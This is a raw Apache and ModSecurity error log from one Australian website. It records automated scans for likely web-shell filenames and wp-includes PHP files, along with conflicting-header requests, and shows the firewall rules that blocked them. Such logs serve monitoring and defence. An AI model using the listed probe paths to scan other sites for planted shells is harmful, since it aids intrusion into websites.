[Sat Dec 13 21:48:33.965957 2025] [:error] [pid 43748:tid 43793] [client 4.194.162.164:1899] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aT1usarTT0VzE3gYjcC1vgAAAE4"]
[Sat Dec 13 21:48:35.431023 2025] [:error] [pid 43748:tid 43804] [client 4.194.162.164:56279] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aT1us6rTT0VzE3gYjcC1vwAAAFg"]
[Sat Dec 13 21:48:37.001447 2025] [:error] [pid 43748:tid 43790] [client 4.194.162.164:1143] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aT1utarTT0VzE3gYjcC1wgAAAEs"]
[Sat Dec 13 21:48:38.460994 2025] [:error] [pid 43836:tid 43858] [client 4.194.162.164:55846] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aT1utmAEOBirsxb11nYHnwAAANQ"]
[Sat Dec 13 21:48:39.946642 2025] [:error] [pid 39287:tid 39302] [client 4.194.162.164:1499] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aT1utzBwBW1JRRoCYqaR1gAAAQ0"]
[Sat Dec 13 21:48:43.961281 2025] [:error] [pid 55071:tid 55079] [client 4.194.162.164:21759] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aT1uu8HSpNduhEZ_mjffugAAAYY"]
[Sat Dec 13 21:48:44.761348 2025] [:error] [pid 21342:tid 21357] [client 4.194.162.164:21697] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aT1uvPBL0VVSMIEvqsuKfwAAAws"]
[Sat Dec 13 21:48:48.810042 2025] [:error] [pid 20799:tid 20801] [client 4.194.162.164:21711] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aT1uwKPz3eVRUTzZpOKKrQAAAsA"]
[Sat Dec 13 21:48:50.128647 2025] [:error] [pid 8242:tid 8250] [client 4.194.162.164:1115] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aT1uwiNKA7vSGNUfnOFBfAAAAkI"]
[Sat Dec 13 21:48:51.533367 2025] [:error] [pid 22505:tid 22517] [client 4.194.162.164:58399] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aT1uwzvNI-35hW16TnUlJAAAA4o"]
[Sat Dec 13 21:48:52.384591 2025] [:error] [pid 23013:tid 23034] [client 4.194.162.164:55865] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aT1uxKs9bDNWPQXUW1aozgAAA9M"]
[Sat Dec 13 21:48:53.164838 2025] [:error] [pid 43747:tid 43767] [client 4.194.162.164:21743] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aT1uxZYw3twBd_JQEHhD_wAAABA"]
[Sat Dec 13 21:48:53.927233 2025] [:error] [pid 22505:tid 22508] [client 4.194.162.164:1902] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aT1uxTvNI-35hW16TnUlJwAAA4E"]
[Sat Dec 13 21:48:55.174875 2025] [:error] [pid 21342:tid 21367] [client 4.194.162.164:58428] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aT1ux_BL0VVSMIEvqsuKhgAAAxU"]
[Sat Dec 13 21:48:56.027419 2025] [:error] [pid 22505:tid 22519] [client 4.194.162.164:56265] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aT1uyDvNI-35hW16TnUlKQAAA4w"]
[Sat Dec 13 21:48:57.594444 2025] [:error] [pid 43747:tid 43761] [client 4.194.162.164:55814] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aT1uyZYw3twBd_JQEHhEBgAAAAo"]
[Sat Dec 13 21:48:58.297283 2025] [:error] [pid 43836:tid 43853] [client 4.194.162.164:1100] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aT1uymAEOBirsxb11nYHpwAAAM8"]
[Sat Dec 13 21:48:59.062208 2025] [:error] [pid 43747:tid 43765] [client 4.194.162.164:42316] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aT1uy5Yw3twBd_JQEHhECgAAAA4"]
[Sat Dec 13 21:48:59.698096 2025] [:error] [pid 21342:tid 21346] [client 4.194.162.164:42331] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aT1uy_BL0VVSMIEvqsuKjAAAAwA"]
[Sat Dec 13 21:49:01.028725 2025] [:error] [pid 21342:tid 21356] [client 4.194.162.164:1110] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aT1uzfBL0VVSMIEvqsuKjgAAAwo"]
[Sat Dec 13 21:49:02.442332 2025] [:error] [pid 43836:tid 43850] [client 4.194.162.164:42351] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aT1uzmAEOBirsxb11nYHqAAAAMw"]
[Sat Dec 13 21:49:03.904139 2025] [:error] [pid 39287:tid 39295] [client 4.194.162.164:42366] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aT1uzzBwBW1JRRoCYqaR4wAAAQY"]
[Sat Dec 13 21:49:04.311230 2025] [:error] [pid 21342:tid 21348] [client 4.194.162.164:1803] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aT1u0PBL0VVSMIEvqsuKkwAAAwI"]
[Sat Dec 13 21:49:04.979771 2025] [:error] [pid 23013:tid 23037] [client 4.194.162.164:42344] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aT1u0Ks9bDNWPQXUW1ao0QAAA9Y"]
[Sat Dec 13 21:49:06.083419 2025] [:error] [pid 43747:tid 43767] [client 4.194.162.164:21740] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aT1u0pYw3twBd_JQEHhEDwAAABA"]
[Sat Dec 13 21:49:06.628751 2025] [:error] [pid 43747:tid 43766] [client 4.194.162.164:1917] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aT1u0pYw3twBd_JQEHhEEAAAAA8"]
[Sat Dec 13 21:49:07.605048 2025] [:error] [pid 21342:tid 21364] [client 4.194.162.164:1829] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aT1u0_BL0VVSMIEvqsuKmAAAAxI"]
[Sat Dec 13 21:49:09.243328 2025] [:error] [pid 43747:tid 43768] [client 4.194.162.164:42334] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aT1u1ZYw3twBd_JQEHhEEQAAABE"]
[Sat Dec 13 23:00:59.294593 2025] [:error] [pid 43748:tid 43793] [client 49.51.183.75:53800] [client 49.51.183.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aT1_q6rTT0VzE3gYjcC_FQAAAE4"]
[Sun Dec 14 03:19:38.218723 2025] [autoindex:error] [pid 14689:tid 14708] [client 4.213.60.65:12502] AH01276: Cannot serve directory /home/measureyourbrand/public_html/assets/images/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 14 05:00:33.345215 2025] [:error] [pid 41600:tid 41614] [client 4.241.241.191:17900] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aT3T8dFLTBZjcwNd_VvTEQAAAQs"], referer: https://www.google.fr/
[Sun Dec 14 05:00:33.823823 2025] [:error] [pid 41600:tid 41627] [client 4.241.241.191:6530] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aT3T8dFLTBZjcwNd_VvTFAAAARg"], referer: https://duckduckgo.com/
[Sun Dec 14 05:00:40.298709 2025] [:error] [pid 39523:tid 39531] [client 4.241.241.191:6663] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aT3T-DQTQH1raAj2lkgdcwAAAAM"], referer: https://www.bing.com/
[Sun Dec 14 05:00:40.534708 2025] [:error] [pid 39523:tid 39547] [client 4.241.241.191:16771] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aT3T-DQTQH1raAj2lkgddQAAABM"], referer: https://www.google.com/
[Sun Dec 14 05:00:41.258720 2025] [:error] [pid 39614:tid 39619] [client 4.241.241.191:6562] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/index.php"] [unique_id "aT3T-fxybG8-9MflbDd7agAAAMM"], referer: https://www.bing.com/
[Sun Dec 14 05:00:41.986794 2025] [:error] [pid 39525:tid 39593] [client 4.241.241.191:6848] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aT3T-U1fX_pB_BrvE_5sDwAAAIo"], referer: https://www.bing.com/
[Sun Dec 14 05:00:42.216026 2025] [:error] [pid 39525:tid 39592] [client 4.241.241.191:6283] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aT3T-k1fX_pB_BrvE_5sEAAAAIk"], referer: https://www.bing.com/
[Sun Dec 14 05:00:42.444216 2025] [:error] [pid 39524:tid 39579] [client 4.241.241.191:38015] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aT3T-mrVGpbDzFtDE9MAxAAAAFc"], referer: https://www.google.de/
[Sun Dec 14 05:00:42.672273 2025] [:error] [pid 39524:tid 39572] [client 4.241.241.191:6567] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/development/index.php"] [unique_id "aT3T-mrVGpbDzFtDE9MAxQAAAFA"], referer: https://www.bing.com/
[Sun Dec 14 05:00:42.900826 2025] [:error] [pid 39614:tid 39617] [client 4.241.241.191:6449] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aT3T-vxybG8-9MflbDd7bQAAAME"], referer: https://www.yahoo.com/
[Sun Dec 14 05:00:43.375823 2025] [:error] [pid 39524:tid 39571] [client 4.241.241.191:6401] [client 4.241.241.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aT3T-2rVGpbDzFtDE9MAyQAAAE8"], referer: https://www.google.fr/
[Sun Dec 14 05:21:59.265274 2025] [:error] [pid 39525:tid 39604] [client 43.164.197.209:40340] [client 43.164.197.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aT3Y901fX_pB_BrvE_5xQQAAAJU"]
[Sun Dec 14 06:55:23.818868 2025] [:error] [pid 39614:tid 39627] [client 182.42.111.156:56597] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aT3u2_xybG8-9MflbDedtQAAAMs"]
[Sun Dec 14 12:55:32.704397 2025] [:error] [pid 40596:tid 40637] [client 49.234.192.248:60032] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aT5DRGvZZo4N2X7WoLzeqwAAAcs"]
[Sun Dec 14 18:14:24.112884 2025] [:error] [pid 40596:tid 40650] [client 43.159.140.236:49316] [client 43.159.140.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aT6OAGvZZo4N2X7WoLxg7AAAAdg"]
[Sun Dec 14 19:16:44.183836 2025] [:error] [pid 40561:tid 40572] [client 4.190.155.242:5065] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aT6cnIY6r869zoqRQkS8VgAAAUc"]
[Sun Dec 14 19:16:44.446124 2025] [:error] [pid 41600:tid 41607] [client 4.190.155.242:5074] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aT6cnNFLTBZjcwNd_VvqIAAAAQQ"]
[Sun Dec 14 19:16:44.716329 2025] [:error] [pid 40596:tid 40626] [client 4.190.155.242:5012] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aT6cnGvZZo4N2X7WoLx7ugAAAcA"]
[Sun Dec 14 19:16:44.989113 2025] [:error] [pid 40595:tid 40623] [client 4.190.155.242:5079] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aT6cnPjrht6y4RN-xKQIKAAAAZg"]
[Sun Dec 14 19:16:45.272831 2025] [:error] [pid 39524:tid 39568] [client 4.190.155.242:4994] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aT6cnWrVGpbDzFtDE9PM7gAAAEw"]
[Sun Dec 14 19:16:45.515994 2025] [:error] [pid 13799:tid 13824] [client 4.190.155.242:4997] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aT6cnXjPEin01ElFTNYnVgAAAhY"]
[Sun Dec 14 19:16:45.790874 2025] [:error] [pid 40595:tid 40606] [client 4.190.155.242:4992] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aT6cnfjrht6y4RN-xKQIKgAAAYc"]
[Sun Dec 14 19:16:46.072565 2025] [:error] [pid 40596:tid 40640] [client 4.190.155.242:5052] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aT6cnmvZZo4N2X7WoLx7xAAAAc4"]
